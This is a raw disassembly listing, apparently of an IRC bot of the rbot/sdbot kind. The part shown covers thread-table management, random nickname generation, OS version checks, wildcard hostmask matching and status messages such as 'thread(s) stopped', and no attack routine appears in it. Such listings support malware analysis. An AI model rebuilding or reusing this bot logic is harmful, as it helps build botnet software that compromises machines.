		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 268083Ah
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26C0580h
		nop
		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 268083Ah
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset off_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F022Ch
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		nop
		call	near ptr 2680896h
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
